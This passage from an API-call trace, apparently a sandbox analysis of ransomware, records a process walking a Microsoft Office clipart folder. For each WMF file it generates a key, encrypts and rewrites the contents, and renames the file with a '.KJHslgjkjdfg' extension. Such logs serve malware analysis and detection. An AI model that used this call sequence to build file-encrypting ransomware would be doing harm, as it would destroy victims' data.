Office\\CLIPART\\PUB60COR\\J0102762.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.kjhslgjkjdfg")) returned 1 [0198.498] CloseHandle (hObject=0x130) returned 1 [0198.499] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0198.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.499] GetProcessHeap () returned 0x2ef0000 [0198.499] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.499] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.499] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.499] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.499] GetProcessHeap () returned 0x2ef0000 [0198.499] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.499] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.499] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.499] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.501] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.501] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.501] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.502] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.502] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.502] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.502] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4290, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4290, lpOverlapped=0x0) returned 1 [0198.503] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4290, dwBufLen=0x4290 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4290) returned 1 [0198.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.503] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4290, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4290, lpOverlapped=0x0) returned 1 [0198.503] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.503] SetEndOfFile (hFile=0x130) returned 1 [0198.504] GetProcessHeap () returned 0x2ef0000 [0198.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.504] GetProcessHeap () returned 0x2ef0000 [0198.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.kjhslgjkjdfg")) returned 1 [0198.505] CloseHandle (hObject=0x130) returned 1 [0198.505] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0198.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.506] GetProcessHeap () returned 0x2ef0000 [0198.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.506] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.506] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.506] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.506] GetProcessHeap () returned 0x2ef0000 [0198.506] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.506] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.506] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.506] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.507] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.507] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.508] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.508] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.508] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.508] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.508] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x43c0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x43c0, lpOverlapped=0x0) returned 1 [0198.509] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43c0) returned 1 [0198.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.509] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x43c0, lpOverlapped=0x0) returned 1 [0198.509] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.509] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.509] SetEndOfFile (hFile=0x130) returned 1 [0198.511] GetProcessHeap () returned 0x2ef0000 [0198.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.511] GetProcessHeap () returned 0x2ef0000 [0198.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.kjhslgjkjdfg")) returned 1 [0198.512] CloseHandle (hObject=0x130) returned 1 [0198.512] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0198.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.512] GetProcessHeap () returned 0x2ef0000 [0198.512] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.512] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.512] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.512] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.514] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.514] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.514] GetProcessHeap () returned 0x2ef0000 [0198.514] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.515] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.515] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.515] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.515] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.515] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.515] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.515] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3264, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3264, lpOverlapped=0x0) returned 1 [0198.516] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3270, dwBufLen=0x3270 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3270) returned 1 [0198.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.516] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3270, lpOverlapped=0x0) returned 1 [0198.517] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.517] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.517] SetEndOfFile (hFile=0x130) returned 1 [0198.519] GetProcessHeap () returned 0x2ef0000 [0198.519] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.519] GetProcessHeap () returned 0x2ef0000 [0198.519] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.kjhslgjkjdfg")) returned 1 [0198.520] CloseHandle (hObject=0x130) returned 1 [0198.520] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0198.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.521] GetProcessHeap () returned 0x2ef0000 [0198.521] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.521] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.523] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.523] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.523] GetProcessHeap () returned 0x2ef0000 [0198.523] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.523] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.523] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.523] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.523] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.523] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.523] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.523] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.523] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.524] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.524] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.524] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaf94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xaf94, lpOverlapped=0x0) returned 1 [0198.525] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xafa0, dwBufLen=0xafa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xafa0) returned 1 [0198.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.526] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xafa0, lpOverlapped=0x0) returned 1 [0198.526] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.526] SetEndOfFile (hFile=0x130) returned 1 [0198.528] GetProcessHeap () returned 0x2ef0000 [0198.528] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.528] GetProcessHeap () returned 0x2ef0000 [0198.528] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.kjhslgjkjdfg")) returned 1 [0198.529] CloseHandle (hObject=0x130) returned 1 [0198.529] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0198.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.529] GetProcessHeap () returned 0x2ef0000 [0198.530] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.530] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.530] WriteFile (in: 